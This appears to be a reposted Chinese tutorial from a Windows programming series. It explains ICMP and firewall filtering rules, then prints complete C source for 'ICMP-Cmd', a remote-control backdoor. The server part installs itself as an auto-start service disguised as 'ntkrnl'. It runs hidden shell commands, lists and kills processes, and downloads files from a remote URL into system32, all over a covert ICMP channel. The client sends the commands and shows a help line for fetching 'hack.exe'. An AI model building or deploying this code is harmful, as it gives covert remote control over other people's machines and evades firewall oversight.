基于visual c++之windows核心编程代码分析(29)ICMP实现远程控制
ICMP是(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ICMP协议是一种面向无连接的协议,用于传输出错报告控制信息。它是一个非常重要的协议,它对于网络安全具有极其重要的意义。 它是TCP/IP协议族的一个子协议,属于网络层协议,主要用于在主机与路由器之间传递控制信息,包括报告错误、交换受限控制和状态信息等。当遇到IP数据无法访问目标、IP路由器无法按当前的传输速率转发数据包等情况时,会自动发送ICMP消息。 ICMP原理
ICMP提供一致易懂的出错报告信息。发送的出错报文返回到发送原数据的设备,因为只有发送设备才是出错报文的逻辑接受者。发送设备随后可根据ICMP报文确定发生错误的类型,并确定如何才能更好地重发失败的数据包。但是ICMP唯一的功能是报告问题而不是纠正错误,纠正错误的任务由发送方完成。 我们在网络中经常会使用到ICMP协议,比如我们经常使用的用于检查网络通不通的Ping命令(Linux和Windows中均有),这个“Ping”的过程实际上就是ICMP协议工作的过程。还有其他的网络命令如跟踪路由的Tracert命令也是基于ICMP协议的。
ICMP的全称是 Internet Control Message Protocol 。从技术角度来说,ICMP就是一个“错误侦测与回报机制”,其目的就是让我们能够检测网路的连线状况﹐也能确保连线的准确性﹐其功能主要有: ·
侦测远端主机是否存在。
· 建立及维护路由资料。 ·
重导资料传送路径。
· 资料流量控制。I
ICMP在沟通之中,主要是透过不同的类别(Type)与代码(Code) 让机器来识别不同的连线状况。常用的类别如下表所列﹕ ICMP 是个非常有用的协议﹐尤其是当我们要对网路连接状况进行判断的时候。下面让我们看看常用的 ICMP 实例,以更好了解 ICMP 的功能与作用。
下面是针对每个ICMP消息类型的过滤规则的详细分析。
Echo Request和Reply(类型8和0):
允许Echo Request消息出站以便于内部用户能够PING一个远程主机。阻止入站Echo Request和出站Echo Reply可以防止外部网络的主机对内部网络进行扫描。如果您使用了位于外部网络的监视器来监视内部网络,就应该只允许来自于特定外部IP的Echo Request进入您的网络。限制ICMP Echo包的大小可以防止“Ping Floods”攻击,并且可以阻止那些利用Echo Request和Reply来“偷运”数据通过防火墙的木马程序。
Destination unreachable (类型3):
允许其入站以便于内部网用户可以使用traceroute。需要注意的是,有些攻击者可以使用它来进行针对会话的DoS攻击,如果您曾经历过类似的攻击,也可以阻止它。阻止出站的ICMP Destination unreachable消息,因为它可能会泄漏内部网络的结构。不过有一个例外,对于那些允许外部网络通过TCP访问的内部主机(如位于DMZ区的Web 服务器)发出的Destination unreachable,则应该允许它通过。为了能够支持“Path MTU Discovery”,您应该允许出站的“Packet Too Big”消息(类型3,代码4)到达那些主机。
Source quench(类型4):
阻止其入站,因为它可以作为一种DoS攻击,能够降低发送者的发送速度。允许其出站以便于内部主机能够控制发送端发送数据的速度。有些防火墙会忽略所有直接发送到防火墙端口的Source Quench消息,以防止针对于防火墙的DoS攻击。
Redirect(类型5,9,10):
Redirect、Router announcement、 Router selection(类型5,9,10):这些消息都存在潜在危险,因为它们可以用来把数据重定向到攻击者的机器。这些消息都应该被阻止。
TTL exceeded(类型11):
允许其进站以便于内部用户可以使用traceroute。“firewalking”使用很低的TTL值来对网络进行扫描,甚至可以通过防火墙对内网进行扫描,所以应该禁止其出站。一些防火墙可以阻止TTL值小于设定值的数据包进入防火墙。
Parameter problem(类型12):
禁止其入站和出站。通过使用一个能够进行数据包一致性检查的防火墙,错误和恶意的数据包都会被阻塞。
客户端实现如下
#include <winsock2.h> #include <stdio.h> #include <stdlib.h> #pragma comment(lib,"ws2_32.lib") char SendMsg[256]; /* The IP header */ typedef struct iphdr { unsigned int h_len:4; //4位首部长度 unsigned int version:4; //IP版本号,4表示IPV4 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度(字节) unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 }IpHeader; typedef struct _ihdr { BYTE i_type;//8位类型 BYTE i_code; //8位代码 USHORT i_cksum;//16位校验和 USHORT i_id;//识别号(一般用进程号作为识别号) USHORT i_seq;//报文序列号 ULONG timestamp;//时间截 } IcmpHeader; #define STATUS_FAILED 0xFFFF #define MAX_PACKET 2000 char arg[1450]; #define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (s)) void fill_icmp_data(char *, int); USHORT checksum(USHORT *, int); void decode_resp(char *,int ,struct sockaddr_in *);//ICMP解包函数 void help(void); void usage(char * prog); int main(int argc, char *argv[]) { char *ICMP_DEST_IP; //目标主机的IP char *recvbuf; if(argc!=2) { usage(argv[0]); return 0; } ICMP_DEST_IP=argv[1];//取得目标主机IP WSADATA wsaData; SOCKET sockRaw; struct sockaddr_in dest,from; int datasize; int fromlen=sizeof(from); char *icmp_data; if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { fprintf(stderr, "WSAStartup failed: %d\n", GetLastError()); ExitProcess(STATUS_FAILED); } sockRaw=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); int timeout=1000; setsockopt(sockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) &timeout, sizeof(timeout)); timeout=4000; setsockopt(sockRaw, SOL_SOCKET, SO_RCVTIMEO, (char *) &timeout, sizeof(timeout)); memset(&dest,0,sizeof(dest)); dest.sin_addr.s_addr=inet_addr(ICMP_DEST_IP); dest.sin_family=AF_INET; usage(argv[0]); __try{ for(;;){ printf("ICMP-CMD>"); fgets(SendMsg,1024,stdin);//取得命令行,保存在SendMsg数组中 if(!strcmp(SendMsg,"Q\n")||!strcmp(SendMsg,"q\n"))ExitProcess(0); if(!strcmp(SendMsg,"\n"))continue; if(!strcmp(SendMsg,"H\n")||!strcmp(SendMsg,"h\n")){help();continue;} if(!memcmp(SendMsg,"http://",7)) if(!strstr(SendMsg,"-")){printf("\nFileName Error. Use \"-FileName\"\n");continue;} datasize=strlen(SendMsg); datasize+=sizeof(IcmpHeader); printf("ICMP packet size is %d",datasize); icmp_data= (char*)xmalloc(MAX_PACKET); recvbuf= (char *)xmalloc(MAX_PACKET); memset(icmp_data,0, MAX_PACKET); fill_icmp_data(icmp_data, datasize); ((IcmpHeader *)icmp_data)->i_cksum=0; ((IcmpHeader *)icmp_data)->i_cksum=checksum((USHORT *)icmp_data, datasize); int bwrote=sendto(sockRaw, icmp_data, datasize, 0, (struct sockaddr *) &dest, sizeof(dest)); if (bwrote == SOCKET_ERROR) { if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out\n"); fprintf(stderr,"sendto failed: %d\n",WSAGetLastError()); } if (bwrote<datasize ) {//没有把所有的数据发送出去,也出错了。 return 0; } printf("\nSend Packet to %s Success!\n",argv[1]); DWORD start = GetTickCount(); for(;;){ if((GetTickCount() - start) >= 1000) break; memset(recvbuf,0,MAX_PACKET); int bread=recvfrom(sockRaw, recvbuf, MAX_PACKET, 0, (struct sockaddr *) &from, &fromlen); if(bread == SOCKET_ERROR) { if(WSAGetLastError() == WSAETIMEDOUT) { printf("timed out\n"); break; } fprintf(stderr, "recvfrom failed: %d\n", WSAGetLastError()); break; } decode_resp(recvbuf, bread, &from); } }//end for }//end try __finally { if (sockRaw != INVALID_SOCKET) closesocket(sockRaw); WSACleanup(); } return 0; } USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size > 1) { cksum+=*buffer++; size-=sizeof(USHORT); } if(size) { cksum+=*(UCHAR *)buffer; } cksum=(cksum >> 16) + (cksum & 0xffff); cksum+=(cksum >> 16); return(USHORT) (~cksum); } void fill_icmp_data(char *icmp_data, int datasize) { IcmpHeader *icmp_hdr; char *datapart; icmp_hdr= (IcmpHeader *)icmp_data; icmp_hdr->i_type=0; icmp_hdr->i_code=0; icmp_hdr->i_id=(USHORT)GetCurrentProcessId(); icmp_hdr->timestamp =GetTickCount(); icmp_hdr->i_seq=1234; datapart=icmp_data + sizeof(IcmpHeader); memcpy(datapart,SendMsg,sizeof(SendMsg)); } void usage(char * prog) { printf("\t\t=====Welcome to www.hackerxfiles.net======\n"); printf("\n"); printf("\t\t---[ ICMP-Cmd v1.0 beta, by gxisone ]---\n"); printf("\t\t---[ E-mail: gxisone@hotmail.com ]---\n"); printf("\t\t---[ 2003/8/15 ]---\n"); printf("\t\tusage: %s RemoteIP\n",prog); printf("\t\tCtrl+C or Q/q to Quite H/h for help\n"); } void decode_resp(char *buf, int bytes,struct sockaddr_in *from) { memset(arg,0,sizeof(arg)); IpHeader *iphdr; IcmpHeader *icmphdr; unsigned short iphdrlen; iphdr = (IpHeader *)buf; iphdrlen = iphdr->h_len * 4 ; icmphdr = (IcmpHeader*)(buf + iphdrlen); if(icmphdr->i_seq==4321)//密码正确则输出数据段 { printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr)); printf(" IcmpType %d",icmphdr->i_type); printf(" IcmpCode %d",icmphdr->i_code); printf("\n"); memcpy(arg,buf+iphdrlen+12,1450); printf("%s",arg); } else printf("Other ICMP Packets!\n"); } void help(void) { printf("\n"); printf("[http://127.0.0.1/hack.exe -admin.exe] (Download Files. Parth is \\\\system32)\n"); printf("[pslist] (List the Process)\n"); printf("[pskill ID] (Kill the Process)\n"); printf("Command (run the command)\n"); printf("\n"); }
服务端实现如下
#include <winsock2.h> #include <stdio.h> #include <urlmon.h> #include <tlhelp32.h> #include "stdafx.h" #pragma comment(lib, "Urlmon.lib") #pragma comment(lib, "ws2_32.lib") #define ICMP_PASSWORD 1234 #define STATUS_FAILED 0xFFFF #define MAX_PACKET 6500 #define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s)) /* The IP header */ typedef struct iphdr { unsigned int h_len:4; //4位首部长度 unsigned int version:4; //IP版本号,4表示IPV4 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度(字节) unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 }IpHeader; //定义ICMP首部 typedef struct _ihdr { BYTE i_type; //8位类型 BYTE i_code; //8位代码 USHORT i_cksum; //16位校验和 USHORT i_id; //识别号(一般用进程号作为识别号) USHORT i_seq; //报文序列号 ULONG timestamp; //时间戳 }IcmpHeader; char arg[256]; char buffer[2048] = {0};//管道输出的数据 void decode_resp(char *,int ,struct sockaddr_in *);//ICMP解包函数 void fill_icmp_data(char * icmp_data); void pslist(void); BOOL killps(DWORD id);//杀进程函数 void send(void); char *ICMP_DEST_IP; USHORT checksum(USHORT *buffer, int size); HANDLE hMutex; SERVICE_STATUS ServiceStatus; SERVICE_STATUS_HANDLE ServiceStatusHandle; void WINAPI ICMP_CmdStart(DWORD,LPTSTR *); void WINAPI CmdControl(DWORD); DWORD WINAPI CmdService(LPVOID); void InstallCmdService(void); void RemoveCmdService(void); void usage(char *par); int main(int argc,char *argv[]) { SERVICE_TABLE_ENTRY DispatchTable[]={{"ntkrnl",ICMP_CmdStart},{NULL,NULL}}; if(argc==2) { if(!stricmp(argv[1],"-install")) { usage(argv[0]); InstallCmdService(); } else if(!stricmp(argv[1],"-remove")) { usage(argv[0]); RemoveCmdService(); } else usage(argv[0]); return 0; } else usage(argv[0]); StartServiceCtrlDispatcher(DispatchTable); return 0; } void WINAPI ICMP_CmdStart(DWORD dwArgc,LPTSTR *lpArgv) { HANDLE hThread; ServiceStatus.dwServiceType = SERVICE_WIN32; ServiceStatus.dwCurrentState = SERVICE_START_PENDING; ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_PAUSE_CONTINUE; ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl); if(ServiceStatusHandle==0) { OutputDebugString("RegisterServiceCtrlHandler Error !\n"); return ; } ServiceStatus.dwCurrentState = SERVICE_RUNNING; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0) { OutputDebugString("SetServiceStatus in CmdStart Error !\n"); return ; } hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL); if(hThread==NULL) { OutputDebugString("CreateThread in CmdStart Error !\n"); } return ; } void WINAPI CmdControl(DWORD dwCode) { switch(dwCode) { case SERVICE_CONTROL_PAUSE: ServiceStatus.dwCurrentState = SERVICE_PAUSED; break; case SERVICE_CONTROL_CONTINUE: ServiceStatus.dwCurrentState = SERVICE_RUNNING; break; case SERVICE_CONTROL_STOP: WaitForSingleObject(hMutex,INFINITE); ServiceStatus.dwCurrentState = SERVICE_STOPPED; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0) { OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n"); } ReleaseMutex(hMutex); CloseHandle(hMutex); return ; case SERVICE_CONTROL_INTERROGATE: break; default: break; } if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0) { OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n"); } return ; } DWORD WINAPI CmdService(LPVOID lpParam)//这里是服务的主函数,把你的代码写在这里就可以成为服务 { char *icmp_data; int bread,datasize,retval; SOCKET sockRaw = (SOCKET)NULL; WSADATA wsaData; struct sockaddr_in dest,from; int fromlen = sizeof(from); int timeout = 2000; char *recvbuf; if ((retval = WSAStartup(MAKEWORD(2,1),&wsaData)) != 0) { printf("WSAStartup failed: %s\n",retval); ExitProcess(STATUS_FAILED); } sockRaw = WSASocket (AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED); if (sockRaw == INVALID_SOCKET) { printf("WSASocket() failed: %s\n",WSAGetLastError()); ExitProcess(STATUS_FAILED); } __try{ bread = setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout)); if(bread == SOCKET_ERROR) __leave; memset(&dest,0,sizeof(dest)); dest.sin_family = AF_INET; datasize=0; datasize += sizeof(IcmpHeader); icmp_data =(char*)xmalloc(MAX_PACKET); recvbuf = (char*)xmalloc(MAX_PACKET); if (!icmp_data) { //fprintf(stderr,"HeapAlloc failed %d\n",GetLastError()); __leave; } memset(icmp_data,0,MAX_PACKET); for(;;) { int bwrote; bwrote = sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest)); bread = recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen); if (bread == SOCKET_ERROR) { if (WSAGetLastError() == WSAETIMEDOUT)continue; __leave; } decode_resp(recvbuf,bread,&from); Sleep(200); memset(recvbuf,0,sizeof(recvbuf)); } } __finally { if (sockRaw != INVALID_SOCKET) closesocket(sockRaw); WSACleanup(); } return 0; } void InstallCmdService(void) { SC_HANDLE schSCManager; SC_HANDLE schService; char lpCurrentPath[MAX_PATH]; char lpImagePath[MAX_PATH]; char *lpHostName; WIN32_FIND_DATA FileData; HANDLE hSearch; DWORD dwErrorCode; SERVICE_STATUS InstallServiceStatus; GetSystemDirectory(lpImagePath,MAX_PATH); strcat(lpImagePath,"\\ntkrnl.exe"); lpHostName=NULL; printf("Transmitting File ... "); hSearch=FindFirstFile(lpImagePath,&FileData); if(hSearch==INVALID_HANDLE_VALUE) { GetModuleFileName(NULL,lpCurrentPath,MAX_PATH); if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0) { dwErrorCode=GetLastError(); if(dwErrorCode==5) { printf("Failure ... Access is Denied !\n"); } else { printf("Failure !\n"); } return ; } else { printf("Success !\n"); } } else { printf("already Exists !\n"); FindClose(hSearch); } schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS); if(schSCManager==NULL) { printf("Open Service Control Manager Database Failure !\n"); return ; } printf("Creating Service .... "); schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); if(schService==NULL) { dwErrorCode=GetLastError(); if(dwErrorCode!=ERROR_SERVICE_EXISTS) { printf("Failure !\n"); CloseServiceHandle(schSCManager); return ; } else { printf("already Exists !\n"); schService=OpenService(schSCManager,"ntkrnl",SERVICE_START); if(schService==NULL) { printf("Opening Service .... Failure !\n"); CloseServiceHandle(schSCManager); return ; } } } else { printf("Success !\n"); } printf("Starting Service .... "); if(StartService(schService,0,NULL)==0) { dwErrorCode=GetLastError(); if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING) { printf("already Running !\n"); CloseServiceHandle(schSCManager); CloseServiceHandle(schService); return ; } } else { printf("Pending ... "); } while(QueryServiceStatus(schService,&InstallServiceStatus)!=0) { if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING) { Sleep(100); } else { break; } } if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING) { printf("Failure !\n"); } else { printf("Success !\n"); } CloseServiceHandle(schSCManager); CloseServiceHandle(schService); return ; } void RemoveCmdService(void) { SC_HANDLE schSCManager; SC_HANDLE schService; char lpImagePath[MAX_PATH]; char *lpHostName; WIN32_FIND_DATA FileData; SERVICE_STATUS RemoveServiceStatus; HANDLE hSearch; DWORD dwErrorCode; GetSystemDirectory(lpImagePath,MAX_PATH); strcat(lpImagePath,"\\ntkrnl.exe"); lpHostName=NULL; schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS); if(schSCManager==NULL) { printf("Opening SCM ......... "); dwErrorCode=GetLastError(); if(dwErrorCode!=5) { printf("Failure !\n"); } else { printf("Failuer ... Access is Denied !\n"); } return ; } schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS); if(schService==NULL) { printf("Opening Service ..... "); dwErrorCode=GetLastError(); if(dwErrorCode==1060) { printf("no Exists !\n"); } else { printf("Failure !\n"); } CloseServiceHandle(schSCManager); } else { printf("Stopping Service .... "); if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0) { if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED) { printf("already Stopped !\n"); } else { printf("Pending ... "); if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0) { while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING) { Sleep(10); QueryServiceStatus(schService,&RemoveServiceStatus); } if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED) { printf("Success !\n"); } else { printf("Failure !\n"); } } else { printf("Failure !\n"); } } } else { printf("Query Failure !\n"); } printf("Removing Service .... "); if(DeleteService(schService)==0) { printf("Failure !\n"); } else { printf("Success !\n"); } } CloseServiceHandle(schSCManager); CloseServiceHandle(schService); printf("Removing File ....... "); Sleep(1500); hSearch=FindFirstFile(lpImagePath,&FileData); if(hSearch==INVALID_HANDLE_VALUE) { printf("no Exists !\n"); } else { if(DeleteFile(lpImagePath)==0) { printf("Failure !\n"); } else { printf("Success !\n"); } FindClose(hSearch); } return ; } void decode_resp(char *buf, int bytes,struct sockaddr_in *from) { IpHeader *iphdr; IcmpHeader *icmphdr; unsigned short iphdrlen; iphdr = (IpHeader *)buf; iphdrlen = iphdr->h_len * 4 ; icmphdr = (IcmpHeader*)(buf + iphdrlen); if(icmphdr->i_seq==ICMP_PASSWORD)//密码正确则输出数据段 { ICMP_DEST_IP=inet_ntoa(from->sin_addr);//取得ICMP包的源地址 memcpy(arg,buf+iphdrlen+12,256); if (!memcmp(arg,"pskill",6)) { killps(atoi(strstr(arg," "))); memcpy(buffer,"Process is Killed!",sizeof("Process is Killed!")); send(); } else if (!memcmp(arg,"pslist",6)){pslist();send();} else if (!strcmp(arg,"remove\n")) { RemoveCmdService(); memcpy(buffer,"Service Removed!",sizeof("Service Removed!")); send(); return; } ////////////************ http下载 ************* else if (!memcmp(arg,"http://",7)) { if(char *FileName=strstr(arg,"-")) { char url[200];//保存网址的数组 memset(url,0,200); memcpy(url,arg,int(FileName-arg-1)); char fname[MAX_PATH]; GetSystemDirectory(fname,MAX_PATH); FileName++; strcat(fname,"\\"); strcat(fname,FileName); *strstr(fname,"\n")=NULL; HRESULT hRet=URLDownloadToFile(0,url,fname,0,0); memset(buffer,0,sizeof(buffer)); if(hRet==S_OK) memcpy(buffer,"Download OK!\n",sizeof("Download OK\n")); else memcpy(buffer,"Download Failure!\n",sizeof("Download Failure!\n")); send(); return; } } //******************************************* else{ SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出 HANDLE hRead,hWrite; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; if (!CreatePipe(&hRead,&hWrite,&sa,0)) { printf("Error On CreatePipe()"); return; } STARTUPINFO si; PROCESS_INFORMATION pi; si.cb = sizeof(STARTUPINFO); GetStartupInfo(&si); si.hStdError = hWrite; si.hStdOutput = hWrite; si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; char cmdline[270]; GetSystemDirectory(cmdline,MAX_PATH+1); strcat(cmdline,"\\cmd.exe /c"); strcat(cmdline,arg); if (!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) { printf("Error on CreateProcess()"); return; } CloseHandle(hWrite); DWORD bytesRead; for(;;){ if (!ReadFile(hRead,buffer,2048,&bytesRead,NULL))break; Sleep(200); } //printf("%s",buffer); ///////////////////////////////////////////// //发送输出数据 send(); } //////////////////////////////////////////////// } //else printf("Other ICMP Packets!\n"); //printf(endl; } USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } void fill_icmp_data(char * icmp_data) { IcmpHeader *icmp_hdr; char *datapart; icmp_hdr = (IcmpHeader*)icmp_data; icmp_hdr->i_type = 0; icmp_hdr->i_code = 0; icmp_hdr->i_id = (USHORT) GetCurrentProcessId(); icmp_hdr->i_cksum = 0; icmp_hdr->i_seq =4321; icmp_hdr->timestamp = GetTickCount(); //设置时间戳 datapart = icmp_data + sizeof(IcmpHeader); memcpy(datapart,buffer,strlen(buffer)); //for(int i=0;i<sizeof(buffer);i++) datapart[i]=buffer[i]; } void usage(char *par) { printf("\t\t=====Welcome to www.hackerxfiles.net======\n"); printf("\n"); printf("\t\t---[ ICMP-Cmd v1.0 beta, by gxisone ]---\n"); printf("\t\t---[ E-mail: gxisone@hotmail.com ]---\n"); printf("\t\t---[ 2003/8/15 ]---\n"); printf("\n"); printf("\t\tUsage: %s -install (to install service)\n",par); printf("\t\t %s -remove (to remove service)\n",par); printf("\n"); return ; } void send(void) { WSADATA wsaData; SOCKET sockRaw = (SOCKET)NULL; struct sockaddr_in dest; int bread,datasize,retval,bwrote; int timeout = 1000; char *icmp_data; if((retval=WSAStartup(MAKEWORD(2,1),&wsaData)) != 0) ExitProcess(STATUS_FAILED); if((sockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED)) ==INVALID_SOCKET) ExitProcess(STATUS_FAILED); __try { if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR) __leave; //设置发送超时 memset(&dest,0,sizeof(dest)); dest.sin_family = AF_INET; dest.sin_addr.s_addr = inet_addr(ICMP_DEST_IP); datasize=strlen(buffer); datasize+=sizeof(IcmpHeader); icmp_data=(char*)xmalloc(MAX_PACKET); if(!icmp_data) __leave; memset(icmp_data,0,MAX_PACKET); fill_icmp_data(icmp_data); //填充ICMP报文 ((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize); //计算校验和 bwrote=sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest)); //发送报文 if (bwrote == SOCKET_ERROR) { //if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out\n"); //printf("sendto failed:"<<WSAGetLastError()<<endl; __leave; } //printf("Send Packet to %s Success!\n"<<ICMP_DEST_IP<<endl; } __finally { if (sockRaw != INVALID_SOCKET) closesocket(sockRaw); WSACleanup(); } memset(buffer,0,sizeof(buffer)); Sleep(200); } void pslist(void) { HANDLE hProcessSnap = NULL; PROCESSENTRY32 pe32= {0}; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == (HANDLE)-1) { printf("\nCreateToolhelp32Snapshot() failed:%d",GetLastError()); return ; } pe32.dwSize = sizeof(PROCESSENTRY32); printf("\nProcessName ProcessID"); if (Process32First(hProcessSnap, &pe32)) { char a[5]; do { strcat(buffer,pe32.szExeFile); strcat(buffer,"\t\t"); itoa(pe32.th32ProcessID,a,10); strcat(buffer,a); strcat(buffer,"\n"); //printf("\n%-20s%d",pe32.szExeFile,pe32.th32ProcessID); } while (Process32Next(hProcessSnap, &pe32)); } else { printf("\nProcess32Firstt() failed:%d",GetLastError()); } CloseHandle (hProcessSnap); return; } BOOL SetPrivilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL bEnablePrivilege)//提示权限 { TOKEN_PRIVILEGES tp; LUID luid; if(!LookupPrivilegeValue(NULL,lpszPrivilege,&luid)) { printf("\nLookupPrivilegeValue error:%d", GetLastError() ); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if (bEnablePrivilege) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL); // Call GetLastError to determine whether the function succeeded. if (GetLastError() != ERROR_SUCCESS) { printf("AdjustTokenPrivileges failed: %u\n", GetLastError() ); return FALSE; } return TRUE; } //////////////////////////////////////////////////////////////////////////// BOOL killps(DWORD id)//杀进程函数 { HANDLE hProcess=NULL,hProcessToken=NULL; BOOL IsKilled=FALSE,bRet=FALSE; __try { if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hProcessToken)) { printf("\nOpen Current Process Token failed:%d",GetLastError()); __leave; } //printf("\nOpen Current Process Token ok!"); if(!SetPrivilege(hProcessToken,SE_DEBUG_NAME,TRUE)) { __leave; } printf("\nSetPrivilege ok!"); if((hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,id))==NULL) { printf("\nOpen Process %d failed:%d",id,GetLastError()); __leave; } //printf("\nOpen Process %d ok!",id); if(!TerminateProcess(hProcess,1)) { printf("\nTerminateProcess failed:%d",GetLastError()); __leave; } IsKilled=TRUE; } __finally { if(hProcessToken!=NULL) CloseHandle(hProcessToken); if(hProcess!=NULL) CloseHandle(hProcess); } return(IsKilled); }